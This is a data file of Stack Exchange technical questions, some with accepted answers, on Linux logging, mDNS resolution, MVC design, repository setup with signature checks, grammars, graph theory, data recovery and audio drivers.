{  "id": "_unix.217335"  , "question": "I'm debugging an issue where I think my server is spamming other servers because it is infected but all my logs stop in august last year, and rsyslog is missing from the system /etc/rsyslog.d still exists and clearly it was writing logs once but there are no new logs being generated for /var/log/mail.log or /var/log/messagesbut runningrsyslogresults in command not found, should I run: apt-get install rsyslog and then service rsyslog startand has any one seen anything like this before?"  , "title": "rsyslog seems to have vanished from my system"  , "tags": "ubuntu;logs;email;rsyslog"  } 
{  "id": "_unix.224692"  , "question": "I'm working with the Octopi distro  and it's supposed to have a few networking things already put together to make things easy out of the box.  One of them is an easy-to-use hostname and/or DNS name: octopi.local.  However it doesn't work.  I can't ping it or resolve it from a Windows 7 machine.  My Netgear WNDR3800 sees the name just fine in its list of connected devices.I'm using a Wi-Pi for wireless networking on the Octopi, and have configured the file octopi-network.txt with my wireless settings.  I can access the Octopi's web interface from the Windows machine by using the IP address.  The Windows machine is using Wi-Fi as well.I've already started another question on the Linux stack Exchange to try to get hostname resolution working on a different Raspberry Pi, and never got that working.This question is different because Octopi uses avahi (aka Bonjour) (Here's a how-to) and all the docs and videos refer to octopi.local, thereby implying that we're working with a DNS name.  From what I can tell, it should work out of the box.If I try to ping/nslookup octopi/octopi.local and it fails, what should I look at next?On the Windows machine, I have tried to do an ipconfig /flushdns, nslookup octopi and nslookup octopi.local with no success."  , "title": "Octopi.local does not resolve - DNS name resolution issue"  , "tags": "networking;raspberry pi;raspbian"  , "accepted_answer": "As it turns out, there is an FAQ question on the Octprint/Octopi FAQ that addresses this very same question, and there's plenty of detail too (reprinted below). I can't reach my OctoPi under octopi.local under Windows, why?The third post has some good details about this issue:Octoprint discussionI can't reach my OctoPi under octopi.local under Windows, why?That .local part makes it a special address. Linux and MacOS already know how to understand it, Windows needs a little extra help.You'll have to download the Bonjour Print Services for Windows and install them. Then make sure your Windows Firewall allows Traffic on UDP Port 5353 and grant internet access to the mDNSresponder.exe (part of the Bonjour support you just installed).Note: This will only work if you home LAN is not set up to use .local as it's own LAN specific top level domain. This should usually not be the case, but if it is and you can't get your home LAN setup differently (e.g. by switching to .lan) you'll need to access your OctoPi instance by its IP address, sorry."  } 
{  "id": "_softwareengineering.191344"  , "question": "I'm very confused. I can't even begin to understand how MVC would be implemented outside of web development. This might seem like too general a question, but how would one apply MVC. I have the following general questions: Are M, V, and C all meant to be one class each, or many. If many, how wouldthat work. Most classes I've made previously have had their data inside them, not in a separate class. How would this work with MVC?1) For instance, lets say you have a class where you take care of a virtual dog. I would think that you would make a Dog class with, for example, a bark command that would play a sound along with a name variable and a coat_color variable. I know this is very simple, but how would this fit inside MVC? It seems that you would end up with MC and V, where the information (model) AND the controls were in the Dog class, which would maybe access swing, or whatever library, to update the view.2) Or, what about a program like sims (simplified version) where each person would have their own information... would you put all that info in another class?Sorry if these are all based on giant misconceptions, but I'm pretty confused. Right now I'm using Java, if that matters for MVC..."  , "title": "How to use MVC in practice"  , "tags": "java;design patterns;mvc;design"  , "accepted_answer": "You're a little all over the map there, perhaps getting ahead of yourself thinking about video games and dogs and what not.  The easiest way to think of MVC is to think of the responsibilities of the things in the acronyms.  At its core level, each of the components answers a question:Model:  What should we show the user?View:   How should we show it to the user (what will it look like)?Controller: How do I figure out which models and views to show the user?So, I'd suggest digesting that a bit and perhaps focusing your questions a little.  MVC is a presentation pattern, meaning that it's not the basis for your entire application nor is it a philosophy or a universal approach to software development.  All it really gives you is a way to separate the responsibilities involved in presenting information to your users.  In this sense, you can use it on the web or the desktop or anywhere that you show things to users."  } 
{  "id": "_softwareengineering.291494"  , "question": "I am having difficulty with the answer provided here, but I couldn't understand how to implement it. My code is pretty much identical:<script language=javascript>  function check(form) {    if(form.userName.value == User && form.userPass.value == averyobviouspassword) {      window.open('testok/menu.html')    }    else {      alert(Wrong Password Or Username)    }  }</script>The problem with this is, if you were to Inspect Element on the page, you can plainly see the password. I'm not looking for other solutions like a SQL database, because this is just a test website. The solution I thought might work was this:if(hash(enteredPassword) == storedHash)I just don't know how to implement it."  , "title": "Javascript Password Security"  , "tags": "javascript;web development;security;html"  } 
{  "id": "_unix.40856"  , "question": "RPM Fusion and Livna.org are common third party package repositories for Fedora. You need them if you want to install media players, codecs and/or DVD playback libraries that are not part of the primary Fedora repository because of assumed issues like distribution licensing or similar.Thus my question how to enable them in Fedora (>= 17)?"  , "title": "How to add the RPM Fusion and livna repositories to Fedora?"  , "tags": "fedora;yum;dnf;multimedia"  , "accepted_answer": "For RPM Fusion (free repository):Get the release rpm:$ curl -O https://download1.rpmfusion.org/free/fedora/\\rpmfusion-free-release-$(rpm -E %fedora).noarch.rpmCheck the archive's integrity via:$ rpm --checksig rpmfusion-free-release-$(rpm -E %fedora).noarch.rpmWhich should fail with:[..] MISSING KEYS: GPG#KEY_ID [..]Add key to your gpg keyring for checking:$ gpg --keyserver pgp.mit.edu --recv-keys KEY_ID In case the key is not available on a keyserver you have to download it from the rpmfusion key page:$ curl -o RPM-GPG-KEY-rpmfusion-free-fedora-25 'https://rpmfusion.org/\\      keys?action=AttachFile&do=get&target=RPM-GPG-KEY-rpmfusion-free-fedora-25'Compare the fingerprint with the published information on the RPM Fusion key site, via a web-search and possibly check the web of trust:$ gpg --fingerprint KEY_IDIf successful make the key known to rpm:$ gpg --export -a KEY_ID > RPM-GPG-KEY-rpmfusion-free-fedora-$(rpm -E %fedora)# rpm --import RPM-GPG-KEY-rpmfusion-free-fedora-$(rpm -E %fedora)Check the integrity of the package for real:$ rpm --checksig rpmfusion-free-release-$(rpm -E %fedora).noarch.rpmIf it is ok install it:# dnf install rpmfusion-free-release-$(rpm -E %fedora).noarch.rpmOr with older Fedora versions:# yum localinstall rpmfusion-free-release-stable.noarch.rpmThis will create config files under /etc/yum.repos.d/ and key files under /etc/pki/rpm-gpg.Note that the # means that you have to execute those commands as root.For the nonfree RPM Fusion repository you have to curl the analogous setup rpm as well.For livna.org you have to:$ curl -O http://rpm.livna.org/livna-release.rpmThe other steps are analogous.In case the livna repository doesn't include the current release, yet, you can workaround that via editing /etc/yum.repos.d/livna.reposuch that:the mirrorlist line is commented outthe baseurl is commented in and the $release variable is replaced with - say - 23For example, most of the libraries available from livna for Fedora 21 should work as-is also under Fedora 23.FingerprintsAs the time of writing the following keys were used:https://download1.rpmfusion.org/free/fedora/\\  rpmfusion-free-release-25.noarch.rpmKEY_ID: 6806A9CBkey fingerprint: 286F 52F7 E9D4 7B46 3EAD  D8AB A1E5 4A0F 6806 A9CBhttp://rpm.livna.org/livna-release.rpmsha256: 18d08b96bc0d6912ba2e957a33ff5c50d7f8f3bae710f5186f3ebc0c78458e13KEY_ID: a109b1eckey fingerprint: 037B 5D9B E1B6 B673 2A23  13B5 7129 5441 A109 B1E"  } 
{  "id": "_webmaster.69034"  , "question": "I'm now working in a server environment where I can access and edit httpd.conf, which is preferable from a performance and a revision control standpoint. I have a few sites (they are Drupal) running in subdirectories along the lines of dev.blah.com/yourname, dev.blah.com/anothername, dev.blah.com/anotherdev. Right now they have a rewrite rule along the lines of RewriteBase /yournamein each of their htaccess files. This doesn't work in httpd.conf and some of the documentation I've been reading says Rewritebase is bad to put in httpd.conf anyway. Any insight into the right approach would be greatly appreciated."  , "title": "Moving RewriteBase rule in htaccess to httpd.conf"  , "tags": "apache;subdirectory"  } 
{  "id": "_cs.23096"  , "question": "so I am a bit confused here. I read a memory-map ranging from certain hex values and I'm trying to find out how large RAM is by it. Here's the code:const char *memorybottom = 0x00000000;const char *memorytop = 0xAA55D0AB;The bottom is 0, and the top is AA55D0AB. I tried to convert that to binary and increased each 2 byte by a power of 2, left to right, but the result is 0.25 kilobytes; 256 bytes, which is 1/4th of a kilobyte. However, someone told me that AA55D0AB is for MB sized RAM.Can anyone help me translate between hex to determine maximum RAM capacity in MB, GB, KB, etc.? PS: This is for emulation. I am trying to emulate memory for an Atari 2600 by providing a lowest mem. value pointer to memorybottom, and the opposite with memorytop. However, I am not too familiar with hex but better with binary."  , "title": "How to find out memory size by hex ranges?"  , "tags": "memory hardware"  } 
{  "id": "_cstheory.21019"  , "question": "A graph is an interval graph iff it is chordal and asteroidal triple free.An interval graph is proper interval graph iff it is $K_{1,3}$ free.However i googled intensely to find a minimal set of forbidden subgraphs for proper interval graphs,but in vain.My question is : What are the minimal set of forbidden subgraphs for proper interval graphs ?Any link to journal/paper is welcome."  , "title": "Forbidden subgraph characterisation of interval graphs"  , "tags": "graph theory;graph algorithms;interval graphs"  , "accepted_answer": "ISGCI's page on proper interval graphs (from our FAQ) lists a few equivalent classes; one of them is the class of $(C_{n+4}$, $S_3$, claw, net)-free  graphs (see the same website for definitions)."  } 
{  "id": "_cs.2794"  , "question": "I have the grammar: $\\qquad \\begin{align} S &\\to S = P \\mid S \\neq P \\mid P  \\\\ P &\\to NUM\\end{align}$This grammar suffers from left recursion. To eliminate left recursion, I got: $\\qquad \\begin{align} S &\\to PS' \\\\ S' &\\to\\, = PS' \\mid\\, \\neq PS' \\mid \\varepsilon \\\\ P &\\to NUM\\end{align}$However when constructing the LL(1) parsing table, it turns out the grammar is ambiguous. Is there a way to disambiguate the grammar without changing the generated language, or did I make a mistake somewhere?This is my work so far: Non-terminal Nullable First            FollowS            False    NUM              $    S'           True     !=, ==, epsilon  $P            False    NUM              $, ==, !=Parse Table     !=       ==    NUM      $S                   ->PS'S'  ->!=PS'  ->==PS'        ->epsilonP                   ->NUM"  , "title": "Is this grammar ambiguous?"  , "tags": "formal grammars;parsers;ambiguity"  } 
{  "id": "_unix.60901"  , "question": "Possible Duplicate:Recover formatted ext3 partition I have a folder of about 5GB that suddenly disappeared. When I checked its hard disk, I found out it has bad sector for about 2-3MB on this folder. Maybe it is on the folder's pointer.The partition is EXT3 , and operating system is Debian.I tried the fsck command , but it hasn't worked.What should I do? How can I recover data? Any program or command?"  , "title": "Recover ext3 files from hard disk with bad sector"  , "tags": "debian;ext3;fsck"  , "accepted_answer": "Maybe testdisk will handle this."  } 
{  "id": "_unix.59950"  , "question": "If I were connected by wifi in my network, there isn't any problem because with AirDroid I can access the sdcard files using the browser.However when I am out, how can I transfer a file from my phone to my PC? I can access my PC using SSH, but then from the PC I can't access the phone for get file using SCP.I guess the question is: Is there any app that allow do such action? I think the only possible thing is install a SSH server in the phone, isn't it?"  , "title": "Transfer a file from Android to a PC (not in the same network)"  , "tags": "linux;ssh;scp;android"  } 
{  "id": "_datascience.18140"  , "question": "Say we have used the TFIDF transform to encode documents into continuous-valued features. How would we now use this as input to a Naive Bayes classifier? Bernoulli naive-bayes is out, because our features aren't binary anymore.Seems like we can't use Multinomial naive-bayes either, because the values are continuous rather than categorical.  As an alternative, would it be appropriate to use gaussian naive bayes instead? Are TFIDF vectors likely to hold up well under the gaussian-distribution assumption?  The sci-kit learn documentation for MultionomialNB suggests the following:The multinomial Naive Bayes classifier is suitable for classification  with discrete features (e.g., word counts for text classification).  The multinomial distribution normally requires integer feature counts.  However, in practice, fractional counts such as tf-idf may also work.Isn't it fundamentally impossible to use fractional values for MultinomialNB?As I understand it, the likelihood function itself assumes that we are dealing with discrete-counts:(From Wikipedia):${\\displaystyle p(\\mathbf {x} \\mid C_{k})={\\frac {(\\sum _{i}x_{i})!}{\\prod _{i}x_{i}!}}\\prod _{i}{p_{ki}}^{x_{i}}}$How would TFIDF values even work with this formula, since the $x_i$ values are all required to be discrete counts?"  , "title": "How to use TFIDF vectors with multinomial naive bayes?"  , "tags": "scikit learn;naive bayes classifier;text"  } 
{  "id": "_webapps.47103"  , "question": "I'm trying to find the first archived message in a Google Group (brought over from Usenet, alt.games.sf2).The default view for Google Groups is most recent first, which makes sense.However, I can't seem to find a way to reverse that (not that I want to read all of them going forward).I can filter by a certain date range, but I'm not sure of which range I'm looking for.  I know I could whittle it down by using old date ranges and then moving forward, but it seems like there should be a way to do this with a simple sort.I can't seem to find anything in the settings either to dictate sort order."  , "title": "How to view posts from oldest to newest in Google Groups"  , "tags": "google groups;usenet"  , "accepted_answer": "Google Groups doesn't sort posts or threads by oldest first.The topics view displays threads by the most recent first.The search results view has two sorting options, by relevance and by date, but by date is sorted by most recent first too.Maybe the next will help you:According to Get started with Usenet on Google Groups - Groups Help the oldest USENET post on Google Groups is from May 11, 1981."  } 
{  "id": "_unix.367927"  , "question": "I recently installed Debian 8 on a GoBook XR-1 laptop. Debian detects it as having a Realtek ALC260 sound card.The sound card worked fine when Windows was installed.I previously had an identical model of laptop running Debian 7 and sound worked after following the steps found at Askubuntu . These steps failed in Debian 8, causing Debian 8 to not boot up until I deleted the files in recovery mode.I unmuted sound using alsamixer. AlsaMixer v1.0.28  Card: HDA Intel                           F1:  Help                Chip: Realtek ALC260                      F2:  System information  View: F3:[Playback] F4: Capture  F5: All  F6:  Select sound card   Item: Master [dB gain: -20.00]            Esc: Exit                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                OO     OO     OO     MM     MM     MM     MM                                                 41       25    100<>100   1<>1     0<>0     0<>0     0<>0      < Master >Speaker    PCM      Line      CD      Mic      Beep     I also tried changing from the HDA Intel/Realtek ALC260 to PulseAudio in alsamixer. AlsaMixer v1.0.28  Card: PulseAudio                          F1:  Help                Chip: PulseAudio                          F2:  System information  View: F3:[Playback] F4: Capture  F5: All  F6:  Select sound card   Item: Master                              Esc: Exit                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   OO                                                                                                                             97<>97                                                           < Master >                             I tried unmuting sound from the FN keys.I tried using an external speaker, and using it without.When I play an MP3 with mplayer, then run pavucontrol, the bar pavucontrol indicates that sound is playing. When I mute the sound in alsamixer, this bar stops moving.Output of dmesg | grep snd:[    9.499756] snd_hda_intel 0000:00:1b.0: irq 46 for MSI/MSI-XOutput of dmesg | grep sound:[   10.029252] sound hdaudioC0D0: autoconfig: line_outs=1 (0xf/0x0/0x0/0x0/0x0) type:line[   10.029258] sound hdaudioC0D0:    speaker_outs=1 (0x11/0x0/0x0/0x0/0x0)[   10.029262] sound hdaudioC0D0:    hp_outs=0 (0x0/0x0/0x0/0x0/0x0)[   10.029265] sound hdaudioC0D0:    mono: mono_out=0x0[   10.029268] sound hdaudioC0D0:    inputs:[   10.029271] sound hdaudioC0D0:      Mic=0x12[   10.029274] sound hdaudioC0D0:      Line=0x14[   10.029277] sound hdaudioC0D0:      CD=0x16[   10.094057] input: HDA Digital PCBeep as /devices/pci0000:00/0000:00:1b.0/sound/card0/hdaudioC0D0/input15Output of sudo alsactl init:Found hardware: HDA-Intel Realtek ALC260 HDA:10ec0260,02601635,00100400 HDA:10573055,10573055,00100700 0x14ff 0xa001Hardware is initialized using a generic methodOutput of lspci -nn | grep Audio:00:1b.0 Audio device [0403]: Intel Corporation NM10/ICH7 Family High Definition Audio Controller [8086:27d8] (rev 02)UpdateTurning off PulseAudio with pulseaudio --kill, then switching alsamixer to the audio card does not work, even when testing aplay /usr/share/sounds/alsa/Noise.wav.Output of cat /proc/asound/card*/codec\\#*:Codec: Realtek ALC260Address: 0AFG Function Id: 0x1 (unsol 1)Vendor Id: 0x10ec0260Subsystem Id: 0x02601635Revision Id: 0x100400No Modem Function Group foundDefault PCM:    rates [0x560]: 44100 48000 96000 192000    bits [0xe]: 16 20 24    formats [0x1]: PCMDefault Amp-In caps: N/ADefault Amp-Out caps: N/AState of AFG node 0x01:  Power states:  D0 D1 D2 D3  Power: setting=D0, actual=D0GPIO: io=4, o=0, i=0, unsolicited=1, wake=0  IO[0]: enable=0, dir=0, wake=0, sticky=0, data=0, unsol=0  IO[1]: enable=0, dir=0, wake=0, sticky=0, data=0, unsol=0  IO[2]: enable=0, dir=0, wake=0, sticky=0, data=0, unsol=0  IO[3]: enable=0, dir=0, wake=0, sticky=0, data=0, unsol=0Node 0x02 [Audio Output] wcaps 0x11: Stereo  Device: name=ALC260 Analog, type=Audio, device=0  Converter: stream=5, channel=0  PCM:    rates [0x560]: 44100 48000 96000 192000    bits [0xe]: 16 20 24    formats [0x1]: PCMNode 0x03 [Audio Output] wcaps 0x211: Stereo Digital  Converter: stream=0, channel=0  Digital:  Digital category: 0x0  IEC Coding Type: 0x0  PCM:    rates [0x560]: 44100 48000 96000 192000    bits [0x1e]: 16 20 24 32    formats [0x1]: PCMNode 0x04 [Audio Input] wcaps 0x10011b: Stereo Amp-In  Control: name=Capture Volume, index=0, device=0    ControlAmp: chs=3, dir=In, idx=0, ofs=0  Control: name=Capture Switch, index=0, device=0    ControlAmp: chs=3, dir=In, idx=0, ofs=0  Device: name=ALC260 Analog, type=Audio, device=0  Amp-In caps: ofs=0x00, nsteps=0x23, stepsize=0x03, mute=1  Amp-In vals:  [0x0c 0x0c]  Converter: stream=1, channel=0  SDI-Select: 0  PCM:    rates [0x160]: 44100 48000 96000    bits [0x6]: 16 20    formats [0x1]: PCM  Connection: 7     0x12* 0x13 0x14 0x15 0x16 0x0f 0x10Node 0x05 [Audio Input] wcaps 0x10011b: Stereo Amp-In  Control: name=Capture Volume, index=1, device=0    ControlAmp: chs=3, dir=In, idx=0, ofs=0  Control: name=Capture Switch, index=1, device=0    ControlAmp: chs=3, dir=In, idx=0, ofs=0  Device: name=ALC260 Alt Analog, type=Audio, device=2  Amp-In caps: ofs=0x00, nsteps=0x23, stepsize=0x03, mute=1  Amp-In vals:  [0x80 0x80]  Converter: stream=0, channel=0  SDI-Select: 0  PCM:    rates [0x160]: 44100 48000 96000    bits [0x6]: 16 20    formats [0x1]: PCM  Connection: 8     0x12* 0x13 0x14 0x15 0x16 0x07 0x0f 0x10Node 0x06 [Audio Input] wcaps 0x100391: Stereo Digital  Converter: stream=0, channel=0  SDI-Select: 0  Digital:  Digital category: 0x0  IEC Coding Type: 0x0  PCM:    rates [0x160]: 44100 48000 96000    bits [0x1e]: 16 20 24 32    formats [0x1]: PCM  Unsolicited: tag=00, enabled=0  Connection: 1     0x19Node 0x07 [Audio Mixer] wcaps 0x20010b: Stereo Amp-In  Control: name=Mic Playback Volume, index=0, device=0    ControlAmp: chs=3, dir=In, idx=0, ofs=0  Control: name=Mic Playback Switch, index=0, device=0    ControlAmp: chs=3, dir=In, idx=0, ofs=0  Control: name=Line Playback Volume, index=0, device=0    ControlAmp: chs=3, dir=In, idx=2, ofs=0  Control: name=Line Playback Switch, index=0, device=0    ControlAmp: chs=3, dir=In, idx=2, ofs=0  Control: name=CD Playback Volume, index=0, device=0    ControlAmp: chs=3, dir=In, idx=4, ofs=0  Control: name=CD Playback Switch, index=0, device=0    ControlAmp: chs=3, dir=In, idx=4, ofs=0  Control: name=Beep Playback Volume, index=0, device=0    ControlAmp: chs=3, dir=In, idx=5, ofs=0  Control: name=Beep Playback Switch, index=0, device=0    ControlAmp: chs=3, dir=In, idx=5, ofs=0  Amp-In caps: ofs=0x23, nsteps=0x41, stepsize=0x03, mute=1  Amp-In vals:  [0x00 0x00] [0x80 0x80] [0x33 0x33] [0x80 0x80] [0x00 0x00] [0x2d 0x2d] [0x80 0x80] [0x80 0x80]  Connection: 8     0x12 0x13 0x14 0x15 0x16 0x17 0x0f 0x10Node 0x08 [Audio Mixer] wcaps 0x20010f: Stereo Amp-In Amp-Out  Control: name=PCM Playback Volume, index=0, device=0    ControlAmp: chs=3, dir=Out, idx=0, ofs=0  Amp-In caps: ofs=0x00, nsteps=0x00, stepsize=0x00, mute=1  Amp-In vals:  [0x00 0x00] [0x00 0x00]  Amp-Out caps: ofs=0x40, nsteps=0x40, stepsize=0x03, mute=0  Amp-Out vals:  [0x2f 0x2f]  Connection: 2     0x02 0x07Node 0x09 [Audio Mixer] wcaps 0x20010f: Stereo Amp-In Amp-Out  Amp-In caps: ofs=0x00, nsteps=0x00, stepsize=0x00, mute=1  Amp-In vals:  [0x00 0x00] [0x80 0x80]  Amp-Out caps: ofs=0x40, nsteps=0x40, stepsize=0x03, mute=0  Amp-Out vals:  [0x40 0x40]  Connection: 2     0x02 0x07Node 0x0a [Audio Mixer] wcaps 0x20010e: Mono Amp-In Amp-Out  Control: name=Speaker Playback Volume, index=0, device=0    ControlAmp: chs=1, dir=Out, idx=0, ofs=0  Amp-In caps: ofs=0x00, nsteps=0x00, stepsize=0x00, mute=1  Amp-In vals:  [0x00] [0x00]  Amp-Out caps: ofs=0x23, nsteps=0x41, stepsize=0x03, mute=0  Amp-Out vals:  [0x2d]  Connection: 2     0x02 0x07Node 0x0b [Audio Selector] wcaps 0x300101: Stereo  Connection: 2     0x08* 0x09Node 0x0c [Audio Selector] wcaps 0x300101: Stereo  Connection: 2     0x08* 0x09Node 0x0d [Audio Selector] wcaps 0x300101: Stereo  Connection: 2     0x08* 0x09Node 0x0e [Audio Selector] wcaps 0x300101: Stereo  Connection: 2     0x08* 0x09Node 0x0f [Pin Complex] wcaps 0x40018d: Stereo Amp-Out  Control: name=PCM Playback Switch, index=0, device=0    ControlAmp: chs=3, dir=Out, idx=0, ofs=0  Control: name=Line Out Phantom Jack, index=0, device=0  Amp-Out caps: ofs=0x00, nsteps=0x00, stepsize=0x00, mute=1  Amp-Out vals:  [0x00 0x00]  Pincap 0x0001003f: IN OUT HP EAPD Detect Trigger ImpSense  EAPD 0x2: EAPD  Pin Default 0x01014110: [Jack] Line Out at Ext Rear    Conn = 1/8, Color = Green    DefAssociation = 0x1, Sequence = 0x0    Misc = NO_PRESENCE  Pin-ctls: 0xc0: OUT HP  Unsolicited: tag=00, enabled=0  Connection: 1     0x08Node 0x10 [Pin Complex] wcaps 0x40018d: Stereo Amp-Out  Amp-Out caps: ofs=0x00, nsteps=0x00, stepsize=0x00, mute=1  Amp-Out vals:  [0x80 0x80]  Pincap 0x0001003f: IN OUT HP EAPD Detect Trigger ImpSense  EAPD 0x2: EAPD  Pin Default 0x411111f0: [N/A] Speaker at Ext Rear    Conn = 1/8, Color = Black    DefAssociation = 0xf, Sequence = 0x0    Misc = NO_PRESENCE  Pin-ctls: 0x20: IN  Unsolicited: tag=00, enabled=0  Connection: 1     0x09Node 0x11 [Pin Complex] wcaps 0x40010c: Mono Amp-Out  Control: name=Speaker Playback Switch, index=0, device=0    ControlAmp: chs=1, dir=Out, idx=0, ofs=0  Control: name=Speaker Phantom Jack, index=0, device=0  Amp-Out caps: ofs=0x00, nsteps=0x00, stepsize=0x00, mute=1  Amp-Out vals:  [0x00]  Pincap 0x00000010: OUT  Pin Default 0x99030120: [Fixed] Line Out at Int ATAPI    Conn = ATAPI, Color = Unknown    DefAssociation = 0x2, Sequence = 0x0    Misc = NO_PRESENCE  Pin-ctls: 0x40: OUT  Connection: 1     0x0aNode 0x12 [Pin Complex] wcaps 0x40018d: Stereo Amp-Out  Control: name=Mic Phantom Jack, index=0, device=0  Amp-Out caps: ofs=0x00, nsteps=0x00, stepsize=0x00, mute=1  Amp-Out vals:  [0x80 0x80]  Pincap 0x0000133f: IN OUT HP Detect Trigger ImpSense    Vref caps: HIZ 50 80  Pin Default 0x01a1993e: [Jack] Mic at Ext Rear    Conn = 1/8, Color = Pink    DefAssociation = 0x3, Sequence = 0xe    Misc = NO_PRESENCE  Pin-ctls: 0x21: IN VREF_50  Unsolicited: tag=00, enabled=0  Connection: 1     0x0bNode 0x13 [Pin Complex] wcaps 0x40018d: Stereo Amp-Out  Amp-Out caps: ofs=0x00, nsteps=0x00, stepsize=0x00, mute=1  Amp-Out vals:  [0x80 0x80]  Pincap 0x0000133f: IN OUT HP Detect Trigger ImpSense    Vref caps: HIZ 50 80  Pin Default 0x411111f0: [N/A] Speaker at Ext Rear    Conn = 1/8, Color = Black    DefAssociation = 0xf, Sequence = 0x0    Misc = NO_PRESENCE  Pin-ctls: 0x20: IN VREF_HIZ  Unsolicited: tag=00, enabled=0  Connection: 1     0x0cNode 0x14 [Pin Complex] wcaps 0x40018d: Stereo Amp-Out  Control: name=Line Phantom Jack, index=0, device=0  Amp-Out caps: ofs=0x00, nsteps=0x00, stepsize=0x00, mute=1  Amp-Out vals:  [0x80 0x80]  Pincap 0x0000133f: IN OUT HP Detect Trigger ImpSense    Vref caps: HIZ 50 80  Pin Default 0x01813130: [Jack] Line In at Ext Rear    Conn = 1/8, Color = Blue    DefAssociation = 0x3, Sequence = 0x0    Misc = NO_PRESENCE  Pin-ctls: 0x20: IN VREF_HIZ  Unsolicited: tag=00, enabled=0  Connection: 1     0x0dNode 0x15 [Pin Complex] wcaps 0x40018d: Stereo Amp-Out  Amp-Out caps: ofs=0x00, nsteps=0x00, stepsize=0x00, mute=1  Amp-Out vals:  [0x80 0x80]  Pincap 0x0000133f: IN OUT HP Detect Trigger ImpSense    Vref caps: HIZ 50 80  Pin Default 0x411111f0: [N/A] Speaker at Ext Rear    Conn = 1/8, Color = Black    DefAssociation = 0xf, Sequence = 0x0    Misc = NO_PRESENCE  Pin-ctls: 0x20: IN VREF_HIZ  Unsolicited: tag=00, enabled=0  Connection: 1     0x0eNode 0x16 [Pin Complex] wcaps 0x400001: Stereo  Control: name=CD Phantom Jack, index=0, device=0  Pincap 0x00000020: IN  Pin Default 0x99330131: [Fixed] CD at Int ATAPI    Conn = ATAPI, Color = Unknown    DefAssociation = 0x3, Sequence = 0x1    Misc = NO_PRESENCE  Pin-ctls: 0x00:Node 0x17 [Pin Complex] wcaps 0x400000: Mono  Pincap 0x00000020: IN  Pin Default 0x99830132: [Fixed] Line In at Int ATAPI    Conn = ATAPI, Color = Unknown    DefAssociation = 0x3, Sequence = 0x2    Misc = NO_PRESENCE  Pin-ctls: 0x00:Node 0x18 [Pin Complex] wcaps 0x400380: Mono Digital  Pincap 0x00000014: OUT Detect  Pin Default 0x411111f0: [N/A] Speaker at Ext Rear    Conn = 1/8, Color = Black    DefAssociation = 0xf, Sequence = 0x0    Misc = NO_PRESENCE  Pin-ctls: 0x00:  Unsolicited: tag=00, enabled=0  Connection: 1     0x03Node 0x19 [Pin Complex] wcaps 0x400280: Mono Digital  Pincap 0x00000024: IN Detect  Pin Default 0x411111f0: [N/A] Speaker at Ext Rear    Conn = 1/8, Color = Black    DefAssociation = 0xf, Sequence = 0x0    Misc = NO_PRESENCE  Pin-ctls: 0x00:  Unsolicited: tag=00, enabled=0Node 0x1a [Vendor Defined Widget] wcaps 0xf00040: Mono  Processing caps: benign=0, ncoeff=13Node 0x1b [Volume Knob Widget] wcaps 0x600080: Mono  Volume-Knob: delta=0, steps=64, direct=0, val=61  Unsolicited: tag=00, enabled=0  Connection: 0Codec: Motorola Si3054Address: 1MFG Function Id: 0x2 (unsol 1)Vendor Id: 0x10573055Subsystem Id: 0x10573055Revision Id: 0x100700Modem Function Group: 0x1Output of lspci -nn:00:00.0 Host bridge [0600]: Intel Corporation Mobile 945GM/PM/GMS, 943/940GML and 945GT Express Memory Controller Hub [8086:27a0] (rev 03)00:01.0 PCI bridge [0604]: Intel Corporation Mobile 945GM/PM/GMS, 943/940GML and 945GT Express PCI Express Root Port [8086:27a1] (rev 03)00:1b.0 Audio device [0403]: Intel Corporation NM10/ICH7 Family High Definition Audio Controller [8086:27d8] (rev 02)00:1c.0 PCI bridge [0604]: Intel Corporation NM10/ICH7 Family PCI Express Port 1 [8086:27d0] (rev 02)00:1c.1 PCI bridge [0604]: Intel Corporation NM10/ICH7 Family PCI Express Port 2 [8086:27d2] (rev 02)00:1c.2 PCI bridge [0604]: Intel Corporation NM10/ICH7 Family PCI Express Port 3 [8086:27d4] (rev 02)00:1c.3 PCI bridge [0604]: Intel Corporation NM10/ICH7 Family PCI Express Port 4 [8086:27d6] (rev 02)00:1c.4 PCI bridge [0604]: Intel Corporation 82801GR/GH/GHM (ICH7 Family) PCI Express Port 5 [8086:27e0] (rev 02)00:1d.0 USB controller [0c03]: Intel Corporation NM10/ICH7 Family USB UHCI Controller #1 [8086:27c8] (rev 02)00:1d.1 USB controller [0c03]: Intel Corporation NM10/ICH7 Family USB UHCI Controller #2 [8086:27c9] (rev 02)00:1d.2 USB controller [0c03]: Intel Corporation NM10/ICH7 Family USB UHCI Controller #3 [8086:27ca] (rev 02)00:1d.3 USB controller [0c03]: Intel Corporation NM10/ICH7 Family USB UHCI Controller #4 [8086:27cb] (rev 02)00:1d.7 USB controller [0c03]: Intel Corporation NM10/ICH7 Family USB2 EHCI Controller [8086:27cc] (rev 02)00:1e.0 PCI bridge [0604]: Intel Corporation 82801 Mobile PCI Bridge [8086:2448] (rev e2)00:1f.0 ISA bridge [0601]: Intel Corporation 82801GHM (ICH7-M DH) LPC Interface Bridge [8086:27bd] (rev 02)00:1f.2 IDE interface [0101]: Intel Corporation 82801GBM/GHM (ICH7-M Family) SATA Controller [IDE mode] [8086:27c4] (rev 02)01:00.0 VGA compatible controller [0300]: Advanced Micro Devices, Inc. [AMD/ATI] RV370/M22 [Mobility Radeon X300] [1002:5460]02:00.0 Ethernet controller [0200]: LSI Corporation ET-131x PCI-E Ethernet Controller [11c1:ed00] (rev 03)06:00.0 Network controller [0280]: Intel Corporation PRO/Wireless 3945ABG [Golan] Network Connection [8086:4222] (rev 02)0b:03.0 CardBus bridge [0607]: O2 Micro, Inc. OZ711MP1/MS1 MemoryCardBus Controller [1217:7134] (rev 21)0b:03.1 CardBus bridge [0607]: O2 Micro, Inc. OZ711MP1/MS1 MemoryCardBus Controller [1217:7134] (rev 21)0b:03.4 FireWire (IEEE 1394) [0c00]: O2 Micro, Inc. Firewire (IEEE 1394) [1217:00f7] (rev 02)What can I do to get sound working on my laptop?"  , "title": "Why does no sound play with Realtek ALC260 driver in Debian?"  , "tags": "debian;audio"  } 
